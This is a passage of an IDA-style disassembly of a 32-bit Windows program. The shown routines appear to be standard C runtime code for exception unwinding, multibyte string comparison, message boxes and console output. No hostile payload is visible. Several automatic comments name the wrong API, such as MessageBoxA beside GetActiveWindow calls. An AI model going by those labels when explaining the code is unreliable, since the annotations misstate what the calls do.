; sub_419369+8Ej call __SEH_epilog4 retn sub_419369 endp ; =============== S U B R O U T I N E ======================================= sub_419402 proc near ; DATA XREF: .vty:0041FDF0o xor esi, esi mov edi, [ebp+18h] sub_419402 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419407 proc near ; CODE XREF: sub_419369+84p cmp [ebp-1Ch], esi jz short locret_419434 cmp [ebp-20h], esi jz short loc_41942C mov eax, [edi] mov ecx, eax sar ecx, 5 and eax, 1Fh imul eax, 28h mov ecx, dword_424EE0[ecx*4] lea eax, [ecx+eax+4] and byte ptr [eax], 0FEh loc_41942C: ; CODE XREF: sub_419407+8j push dword ptr [edi] call sub_419F16 pop ecx locret_419434: ; CODE XREF: sub_419407+3j retn sub_419407 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419435 proc near ; CODE XREF: sub_413BFD+26Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 1 push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_419369 add esp, 18h pop ebp retn sub_419435 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419453 proc near ; CODE XREF: sub_41966D+Ap var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push [ebp+arg_8] lea ecx, [ebp+var_14] call sub_40F7E2 mov edx, [ebp+arg_0] xor esi, esi cmp edx, esi jnz short loc_41949D call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_8], 0 jz short loc_419493 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_419493: ; CODE XREF: sub_419453+37j mov eax, 7FFFFFFFh jmp loc_41966A ; --------------------------------------------------------------------------- loc_41949D: ; CODE XREF: sub_419453+19j push ebx mov ebx, [ebp+arg_4] cmp ebx, esi jnz short loc_4194D4 call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_8], 0 jz short loc_4194CA mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4194CA: ; CODE XREF: sub_419453+6Ej mov eax, 7FFFFFFFh jmp loc_419669 ; --------------------------------------------------------------------------- loc_4194D4: ; CODE XREF: sub_419453+50j mov eax, [ebp+var_10] cmp [eax+8], esi jnz short loc_419500 lea eax, [ebp+var_14] push eax push ebx push edx call sub_41A2A3 add esp, 0Ch cmp [ebp+var_8], 0 jz loc_419669 mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_419669 ; --------------------------------------------------------------------------- loc_419500: ; CODE XREF: sub_419453+87j push edi mov edi, 200h loc_419506: ; CODE XREF: sub_419453+1CDj movzx cx, byte ptr [edx] movzx ecx, cx movzx esi, cl inc edx test byte ptr [esi+eax+1Dh], 4 mov [ebp+arg_0], edx jz short loc_419574 cmp byte ptr [edx], 0 jnz short loc_419524 xor esi, esi jmp short loc_419590 ; --------------------------------------------------------------------------- loc_419524: ; CODE XREF: sub_419453+CBj push 1 push dword ptr [eax+4] lea ecx, [ebp+var_4] push 2 push ecx push 2 dec edx push edx push edi push dword ptr [eax+0Ch] lea eax, [ebp+var_14] push eax call sub_413945 add esp, 24h cmp eax, 1 jnz short loc_41954F movzx ax, [ebp+var_4] jmp short loc_419569 ; --------------------------------------------------------------------------- loc_41954F: ; CODE XREF: sub_419453+F3j cmp eax, 2 jnz loc_419625 movzx ax, [ebp+var_4] movzx cx, [ebp+var_3] shl ax, 8 add ax, cx loc_419569: ; CODE XREF: sub_419453+FAj inc [ebp+arg_0] movzx esi, ax mov eax, [ebp+var_10] jmp short loc_419590 ; --------------------------------------------------------------------------- loc_419574: ; CODE XREF: sub_419453+C6j movzx edx, cx lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_41958D movzx cx, byte ptr [ecx+11Dh] movzx esi, cx jmp short loc_419590 ; --------------------------------------------------------------------------- loc_41958D: ; CODE XREF: sub_419453+12Bj movzx esi, dx loc_419590: ; CODE XREF: sub_419453+CFj ; sub_419453+11Fj ... movzx cx, byte ptr [ebx] movzx ecx, cx movzx edx, cl inc ebx test byte ptr [edx+eax+1Dh], 4 jz short loc_4195F7 cmp byte ptr [ebx], 0 jnz short loc_4195AB xor ecx, ecx jmp short loc_419613 ; --------------------------------------------------------------------------- loc_4195AB: ; CODE XREF: sub_419453+152j push 1 push dword ptr [eax+4] lea ecx, [ebp+var_4] push 2 push ecx push 2 lea ecx, [ebx-1] push ecx push edi push dword ptr [eax+0Ch] lea eax, [ebp+var_14] push eax call sub_413945 add esp, 24h cmp eax, 1 jnz short loc_4195D8 movzx ax, [ebp+var_4] jmp short loc_4195EE ; --------------------------------------------------------------------------- loc_4195D8: ; CODE XREF: sub_419453+17Cj cmp eax, 2 jnz short loc_419625 movzx ax, [ebp+var_4] movzx cx, [ebp+var_3] shl ax, 8 add ax, cx loc_4195EE: ; CODE XREF: sub_419453+183j movzx ecx, ax mov eax, [ebp+var_10] inc ebx jmp short loc_419613 ; --------------------------------------------------------------------------- loc_4195F7: ; CODE XREF: sub_419453+14Dj movzx edx, cx lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_419610 movzx cx, byte ptr [ecx+11Dh] movzx ecx, cx jmp short loc_419613 ; --------------------------------------------------------------------------- loc_419610: ; CODE XREF: sub_419453+1AEj movzx ecx, dx loc_419613: ; CODE XREF: sub_419453+156j ; sub_419453+1A2j ... cmp cx, si jnz short loc_419644 test si, si jz short loc_419659 mov edx, [ebp+arg_0] jmp loc_419506 ; --------------------------------------------------------------------------- loc_419625: ; CODE XREF: sub_419453+FFj ; sub_419453+188j call sub_40F79E mov dword ptr [eax], 16h cmp [ebp+var_8], 0 jz short loc_41963D mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41963D: ; CODE XREF: sub_419453+1E1j mov eax, 7FFFFFFFh jmp short loc_419668 ; --------------------------------------------------------------------------- loc_419644: ; CODE XREF: sub_419453+1C3j sbb eax, eax and eax, 2 dec eax cmp [ebp+var_8], 0 jz short loc_419668 mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_419668 ; --------------------------------------------------------------------------- loc_419659: ; CODE XREF: sub_419453+1C8j cmp [ebp+var_8], 0 jz short loc_419666 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_419666: ; CODE XREF: sub_419453+20Aj xor eax, eax loc_419668: ; CODE XREF: sub_419453+1EFj ; sub_419453+1FBj ... pop edi loc_419669: ; CODE XREF: sub_419453+7Cj ; sub_419453+9Bj ... pop ebx loc_41966A: ; CODE XREF: sub_419453+45j pop esi leave retn sub_419453 endp ; =============== S U B R O U T I N E ======================================= sub_41966D proc near ; CODE XREF: sub_413BFD+1E6p ; sub_413BFD+203p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_419453 add esp, 0Ch retn sub_41966D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419680 proc near ; CODE XREF: sub_4197E9+Ep var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_419695 xor eax, eax jmp loc_4197D2 ; --------------------------------------------------------------------------- loc_419695: ; CODE XREF: sub_419680+Cj push edi push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40F7E2 mov edi, [ebp+var_C] cmp [edi+8], ebx jnz short loc_4196CF push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_418956 add esp, 0Ch cmp [ebp+var_4], bl jz loc_4197D1 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_4197D1 ; --------------------------------------------------------------------------- loc_4196CF: ; CODE XREF: sub_419680+27j cmp [ebp+arg_0], ebx jnz short loc_419702 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_4], bl jz short loc_4196F8 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4196F8: ; CODE XREF: sub_419680+6Fj mov eax, 7FFFFFFFh jmp loc_4197D1 ; --------------------------------------------------------------------------- loc_419702: ; CODE XREF: sub_419680+52j push esi mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_419738 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_4], bl jz short loc_41972E mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41972E: ; CODE XREF: sub_419680+A5j mov eax, 7FFFFFFFh jmp loc_4197D0 ; --------------------------------------------------------------------------- loc_419738: ; CODE XREF: sub_419680+88j ; sub_419680+13Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] dec [ebp+arg_8] movzx ecx, cx movzx edx, cl inc eax test byte ptr [edx+edi+1Dh], 4 mov [ebp+arg_0], eax jz short loc_41977F cmp [ebp+arg_8], ebx jnz short loc_419769 movzx eax, byte ptr [esi] xor ecx, ecx test byte ptr [eax+edi+1Dh], 4 jnz short loc_4197C2 movzx eax, ax jmp short loc_4197AF ; --------------------------------------------------------------------------- loc_419769: ; CODE XREF: sub_419680+D6j mov al, [eax] cmp al, bl jnz short loc_419773 xor ecx, ecx jmp short loc_41977F ; --------------------------------------------------------------------------- loc_419773: ; CODE XREF: sub_419680+EDj xor edx, edx inc [ebp+arg_0] mov dh, cl mov dl, al movzx ecx, dx loc_41977F: ; CODE XREF: sub_419680+D1j ; sub_419680+F1j movzx ax, byte ptr [esi] movzx eax, ax movzx edx, al inc esi test byte ptr [edx+edi+1Dh], 4 jz short loc_4197AF cmp [ebp+arg_8], ebx jnz short loc_41979A loc_419796: ; CODE XREF: sub_419680+121j xor eax, eax jmp short loc_4197AF ; --------------------------------------------------------------------------- loc_41979A: ; CODE XREF: sub_419680+114j mov dl, [esi] dec [ebp+arg_8] cmp dl, bl jz short loc_419796 xor ebx, ebx mov bh, al inc esi mov bl, dl movzx eax, bx xor ebx, ebx loc_4197AF: ; CODE XREF: sub_419680+E7j ; sub_419680+10Fj ... cmp ax, cx jnz short loc_4197D5 cmp cx, bx jz short loc_4197C2 cmp [ebp+arg_8], ebx jnz loc_419738 loc_4197C2: ; CODE XREF: sub_419680+E2j ; sub_419680+137j cmp [ebp+var_4], bl jz short loc_4197CE mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4197CE: ; CODE XREF: sub_419680+145j xor eax, eax loc_4197D0: ; CODE XREF: sub_419680+B3j ; sub_419680+15Ej ... pop esi loc_4197D1: ; CODE XREF: sub_419680+3Dj ; sub_419680+4Aj ... pop edi loc_4197D2: ; CODE XREF: sub_419680+10j pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197D5: ; CODE XREF: sub_419680+132j sbb eax, eax and eax, 2 dec eax cmp [ebp+var_4], bl jz short loc_4197D0 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_4197D0 sub_419680 endp ; =============== S U B R O U T I N E ======================================= sub_4197E9 proc near ; CODE XREF: sub_413BFD+1D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_419680 add esp, 10h retn sub_4197E9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_419818 push dword ptr [ebp+8] call sub_41AE3E ; RtlUnwind loc_419818: ; DATA XREF: .vty:0041980Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_419820: ; DATA XREF: sub_419865+Bo ; .vty:004198F2o mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_419864 mov eax, [esp+14h] mov ecx, [eax-4] xor ecx, eax call sub_410BCD push ebp mov ebp, [eax+10h] mov edx, [eax+28h] push edx mov edx, [eax+24h] push edx call sub_419865 add esp, 8 pop ebp mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_419864: ; CODE XREF: .vty:00419830j retn ; =============== S U B R O U T I N E ======================================= sub_419865 proc near ; CODE XREF: .vty:0041984Cp var_20 = dword ptr -20h var_18 = dword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push ebp push eax push 0FFFFFFFEh push offset loc_419820 push large dword ptr fs:0 mov eax, dword_4231C4 xor eax, esp push eax lea eax, [esp+24h+var_20] mov large fs:0, eax loc_41988E: ; CODE XREF: sub_419865:loc_4198D5j mov eax, [esp+24h+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4198D7 cmp [esp+24h+arg_4], 0FFFFFFFFh jz short loc_4198AA cmp esi, [esp+24h+arg_4] jbe short loc_4198D7 loc_4198AA: ; CODE XREF: sub_419865+3Dj lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+24h+var_18], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4198D5 push 101h mov eax, [ebx+esi*4+8] call sub_419915 mov eax, [ebx+esi*4+8] call sub_419934 loc_4198D5: ; CODE XREF: sub_419865+57j jmp short loc_41988E ; --------------------------------------------------------------------------- loc_4198D7: ; CODE XREF: sub_419865+36j ; sub_419865+43j mov ecx, [esp+24h+var_20] mov large fs:0, ecx add esp, 18h pop edi pop esi pop ebx retn sub_419865 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset loc_419820 jnz short locret_41990B mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41990B mov eax, 1 locret_41990B: ; CODE XREF: .vty:004198F9j ; .vty:00419904j retn ; =============== S U B R O U T I N E ======================================= sub_41990C proc near ; CODE XREF: sub_416AE0+1Ep ; sub_416AE0+40p push ebx push ecx mov ebx, offset dword_423F20 jmp short loc_419920 sub_41990C endp ; =============== S U B R O U T I N E ======================================= sub_419915 proc near ; CODE XREF: sub_413FC8+6Ep ; sub_412800+18D9p ... arg_0 = dword ptr 4 push ebx push ecx mov ebx, offset dword_423F20 mov ecx, [esp+8+arg_0] loc_419920: ; CODE XREF: sub_41990C+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp push ebp push ecx push eax pop eax pop ecx pop ebp pop ecx pop ebx retn 4 sub_419915 endp ; =============== S U B R O U T I N E ======================================= sub_419934 proc near ; CODE XREF: sub_413FC8+7Bp ; sub_419865+6Bp call eax retn sub_419934 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419937 proc near ; CODE XREF: sub_41422C+15Dp var_30 = dword ptr -30h var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_411DB6 xor ebx, ebx cmp dword_424D78, ebx mov [ebp+var_10], eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx mov [ebp+var_C], ebx jnz loc_419A0C push offset aUser32_dll ; "USER32.DLL" call dword_41C044 ; LoadLibraryA mov edi, eax cmp edi, ebx jnz short loc_419977 loc_419970: ; CODE XREF: sub_419937+50j xor eax, eax jmp loc_419AD0 ; --------------------------------------------------------------------------- loc_419977: ; CODE XREF: sub_419937+37j mov esi, dword_41C0AC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress cmp eax, ebx jz short loc_419970 push eax call sub_411D53 mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow" push edi mov dword_424D78, eax call esi ; GetProcAddress push eax call sub_411D53 mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_424D7C, eax call esi ; GetProcAddress push eax call sub_411D53 mov dword_424D80, eax lea eax, [ebp+var_8] push eax call sub_412542 test eax, eax pop ecx pop ecx jz short loc_4199DA push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_4199DA: ; CODE XREF: sub_419937+94j cmp [ebp+var_8], 2 jnz short loc_419A0C push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress push eax call sub_411D53 cmp eax, ebx pop ecx mov dword_424D88, eax jz short loc_419A0C push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress push eax call sub_411D53 pop ecx mov dword_424D84, eax loc_419A0C: ; CODE XREF: sub_419937+22j ; sub_419937+A7j ... mov eax, dword_424D84 mov esi, [ebp+var_10] cmp eax, esi jz short loc_419A85 cmp dword_424D88, esi jz short loc_419A85 push eax call sub_411DBF pop ecx call eax ; GetProcessWindowStation cmp eax, ebx jz short loc_419A52 lea ecx, [ebp+var_14] push ecx push 0Ch lea ecx, [ebp+var_20] push ecx push 1 push eax push dword_424D88 call sub_411DBF pop ecx call eax ; GetProcessWindowStation test eax, eax jz short loc_419A52 test [ebp+var_18], 1 jnz short loc_419A85 loc_419A52: ; CODE XREF: sub_419937+F4j ; sub_419937+113j lea eax, [ebp+var_C] push eax call sub_412579 test eax, eax pop ecx jz short loc_419A6D push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_419A6D: ; CODE XREF: sub_419937+127j cmp [ebp+var_C], 4 jb short loc_419A7C or [ebp+arg_8], 200000h jmp short loc_419AB6 ; --------------------------------------------------------------------------- loc_419A7C: ; CODE XREF: sub_419937+13Aj or [ebp+arg_8], 40000h jmp short loc_419AB6 ; --------------------------------------------------------------------------- loc_419A85: ; CODE XREF: sub_419937+DFj ; sub_419937+E7j ... mov eax, dword_424D7C cmp eax, esi jz short loc_419AB6 push eax call sub_411DBF pop ecx call eax ; MessageBoxA cmp eax, ebx mov [ebp+var_4], eax jz short loc_419AB6 mov eax, dword_424D80 cmp eax, esi jz short loc_419AB6 push [ebp+var_4] push eax call sub_411DBF pop ecx call eax ; MessageBoxA mov [ebp+var_4], eax loc_419AB6: ; CODE XREF: sub_419937+143j ; sub_419937+14Cj ... push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] push dword_424D78 call sub_411DBF pop ecx call eax ; MessageBoxA loc_419AD0: ; CODE XREF: sub_419937+3Bj pop edi pop esi pop ebx leave retn sub_419937 endp ; =============== S U B R O U T I N E ======================================= sub_419AD5 proc near ; CODE XREF: sub_41422C+27p ; sub_41422C+38p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jl short loc_419AFE cmp ecx, 2 jle short loc_419AF1 cmp ecx, 3 jnz short loc_419AFE mov eax, dword_42439C pop esi retn ; --------------------------------------------------------------------------- loc_419AF1: ; CODE XREF: sub_419AD5+Ej mov eax, dword_42439C mov dword_42439C, ecx pop esi retn ; --------------------------------------------------------------------------- loc_419AFE: ; CODE XREF: sub_419AD5+9j ; sub_419AD5+13j call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh pop esi retn sub_419AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B1B proc near ; CODE XREF: sub_41440F+2A1p ; sub_41440F+2C1p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax push esi xor esi, esi cmp dword_423F30, esi jz short loc_419B84 cmp dword_424164, 0FFFFFFFEh jnz short loc_419B44 call sub_41ACB3 loc_419B44: ; CODE XREF: sub_419B1B+22j mov eax, dword_424164 cmp eax, 0FFFFFFFFh jnz short loc_419B54 loc_419B4E: ; CODE XREF: sub_419B1B+56j ; sub_419B1B+61j ... or ax, 0FFFFh jmp short loc_419BC4 ; --------------------------------------------------------------------------- loc_419B54: ; CODE XREF: sub_419B1B+31j push esi lea ecx, [ebp+var_10] push ecx push 1 lea ecx, [ebp+arg_0] push ecx push eax call dword_41C02C ; WriteConsoleW test eax, eax jnz short loc_419BD1 cmp dword_423F30, 2 jnz short loc_419B4E call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_419B4E mov dword_423F30, esi loc_419B84: ; CODE XREF: sub_419B1B+19j push esi push esi push 5 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+arg_0] push eax push esi call dword_41C028 ; GetConsoleOutputCP push eax call dword_41C170 ; WideCharToMultiByte mov ecx, dword_424164 cmp ecx, 0FFFFFFFFh jz short loc_419B4E push esi lea edx, [ebp+var_10] push edx push eax lea eax, [ebp+var_C] push eax push ecx call dword_41C030 ; WriteConsoleA test eax, eax jz short loc_419B4E loc_419BC0: ; CODE XREF: sub_419B1B+C0j mov ax, [ebp+arg_0] loc_419BC4: ; CODE XREF: sub_419B1B+37j mov ecx, [ebp+var_4] xor ecx, ebp pop esi call sub_410BCD leave retn ; --------------------------------------------------------------------------- loc_419BD1: ; CODE XREF: sub_419B1B+4Dj mov dword_423F30, 1 jmp short loc_419BC0 sub_419B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BDD proc near ; CODE XREF: sub_419CF0+Ep var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_419C01 cmp [ebp+arg_8], ebx jz short loc_419C01 cmp [esi], bl jnz short loc_419C07 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_419C01 mov [eax], bx loc_419C01: ; CODE XREF: sub_419BDD+Fj ; sub_419BDD+14j ... xor eax, eax loc_419C03: ; CODE XREF: sub_419BDD+5Aj ; sub_419BDD+BBj ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419C07: ; CODE XREF: sub_419BDD+18j push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40F7E2 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_419C39 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_419C28 movzx cx, byte ptr [esi] mov [eax], cx loc_419C28: ; CODE XREF: sub_419BDD+42j ; sub_419BDD+10Bj cmp [ebp+var_4], bl jz short loc_419C34 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_419C34: ; CODE XREF: sub_419BDD+4Ej xor eax, eax inc eax jmp short loc_419C03 ; --------------------------------------------------------------------------- loc_419C39: ; CODE XREF: sub_419BDD+3Bj lea eax, [ebp+var_10] push eax movzx eax, byte ptr [esi] push eax call sub_413988 test eax, eax pop ecx pop ecx jz short loc_419CC9 mov eax, [ebp+var_10] mov ecx, [eax+0ACh] cmp ecx, 1 jle short loc_419C7F cmp [ebp+arg_8], ecx jl short loc_419C7F xor edx, edx cmp [ebp+arg_0], ebx setnz dl push edx push [ebp+arg_0] push ecx push esi push 9 push dword ptr [eax+4] call dword_41C174 ; MultiByteToWideChar test eax, eax mov eax, [ebp+var_10] jnz short loc_419C8F loc_419C7F: ; CODE XREF: sub_419BDD+7Bj ; sub_419BDD+80j mov ecx, [ebp+arg_8] cmp ecx, [eax+0ACh] jb short loc_419CAA cmp [esi+1], bl jz short loc_419CAA loc_419C8F: ; CODE XREF: sub_419BDD+A0j cmp [ebp+var_4], bl mov eax, [eax+0ACh] jz loc_419C03 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_419C03 ; --------------------------------------------------------------------------- loc_419CAA: ; CODE XREF: sub_419BDD+ABj ; sub_419BDD+B0j ... call sub_40F79E mov dword ptr [eax], 2Ah cmp [ebp+var_4], bl jz short loc_419CC1 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_419CC1: ; CODE XREF: sub_419BDD+DBj or eax, 0FFFFFFFFh jmp loc_419C03 ; --------------------------------------------------------------------------- loc_419CC9: ; CODE XREF: sub_419BDD+6Dj xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] mov eax, [ebp+var_10] push 1 push esi push 9 push dword ptr [eax+4] call dword_41C174 ; MultiByteToWideChar test eax, eax jnz loc_419C28 jmp short loc_419CAA sub_419BDD endp ; =============== S U B R O U T I N E ======================================= sub_419CF0 proc near ; CODE XREF: sub_41440F+18Ep ; sub_41440F+1BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_419BDD add esp, 10h retn sub_419CF0 endp ; =============== S U B R O U T I N E ======================================= sub_419D07 proc near ; CODE XREF: sub_418D2B+2BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax push esi push edi jl short loc_419D6B cmp eax, dword_424EC8 jnb short loc_419D6B mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, eax sar ecx, 5 lea edi, ds:424EE0h[ecx*4] mov ecx, [edi] cmp dword ptr [esi+ecx], 0FFFFFFFFh jnz short loc_419D6B cmp dword_4231A0, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_419D61 sub eax, 0 jz short loc_419D58 dec eax jz short loc_419D53 dec eax jnz short loc_419D61 push ebx push 0FFFFFFF4h jmp short loc_419D5B ; --------------------------------------------------------------------------- loc_419D53: ; CODE XREF: sub_419D07+42j push ebx push 0FFFFFFF5h jmp short loc_419D5B ; --------------------------------------------------------------------------- loc_419D58: ; CODE XREF: sub_419D07+3Fj push ebx push 0FFFFFFF6h loc_419D5B: ; CODE XREF: sub_419D07+4Aj ; sub_419D07+4Fj call dword_41C078 ; SetStdHandle loc_419D61: ; CODE XREF: sub_419D07+3Aj ; sub_419D07+45j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_419D81 ; --------------------------------------------------------------------------- loc_419D6B: ; CODE XREF: sub_419D07+8j ; sub_419D07+10j ... call sub_40F79E mov dword ptr [eax], 9 call sub_40F7B1 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_419D81: ; CODE XREF: sub_419D07+62j pop edi pop esi retn sub_419D07 endp ; =============== S U B R O U T I N E ======================================= sub_419D84 proc near ; CODE XREF: sub_414C65+62p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jl short loc_419DEC cmp ecx, dword_424EC8 jnb short loc_419DEC mov esi, ecx and esi, 1Fh imul esi, 28h mov eax, ecx sar eax, 5 lea edi, ds:424EE0h[eax*4] mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_419DEC cmp dword ptr [eax], 0FFFFFFFFh jz short loc_419DEC cmp dword_4231A0, 1 jnz short loc_419DE2 sub ecx, ebx jz short loc_419DD9 dec ecx jz short loc_419DD4 dec ecx jnz short loc_419DE2 push ebx push 0FFFFFFF4h jmp short loc_419DDC ; --------------------------------------------------------------------------- loc_419DD4: ; CODE XREF: sub_419D84+46j push ebx push 0FFFFFFF5h jmp short loc_419DDC ; --------------------------------------------------------------------------- loc_419DD9: ; CODE XREF: sub_419D84+43j push ebx push 0FFFFFFF6h loc_419DDC: ; CODE XREF: sub_419D84+4Ej ; sub_419D84+53j call dword_41C078 ; SetStdHandle loc_419DE2: ; CODE XREF: sub_419D84+3Fj ; sub_419D84+49j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_419E01 ; --------------------------------------------------------------------------- loc_419DEC: ; CODE XREF: sub_419D84+Bj ; sub_419D84+13j ... call sub_40F79E mov dword ptr [eax], 9 call sub_40F7B1 mov [eax], ebx or eax, 0FFFFFFFFh loc_419E01: ; CODE XREF: sub_419D84+66j pop edi pop esi pop ebx retn sub_419D84 endp ; =============== S U B R O U T I N E ======================================= sub_419E05 proc near ; CODE XREF: sub_414C65+7p ; sub_414C65+2Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_419E25 call sub_40F7B1 and dword ptr [eax], 0 call sub_40F79E mov dword ptr [eax], 9 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419E25: ; CODE XREF: sub_419E05+7j push esi xor esi, esi cmp eax, esi jl short loc_419E4E cmp eax, dword_424EC8 jnb short loc_419E4E mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_424EE0[ecx*4] add eax, ecx test byte ptr [eax+4], 1 jnz short loc_419E72 loc_419E4E: ; CODE XREF: sub_419E05+25j ; sub_419E05+2Dj 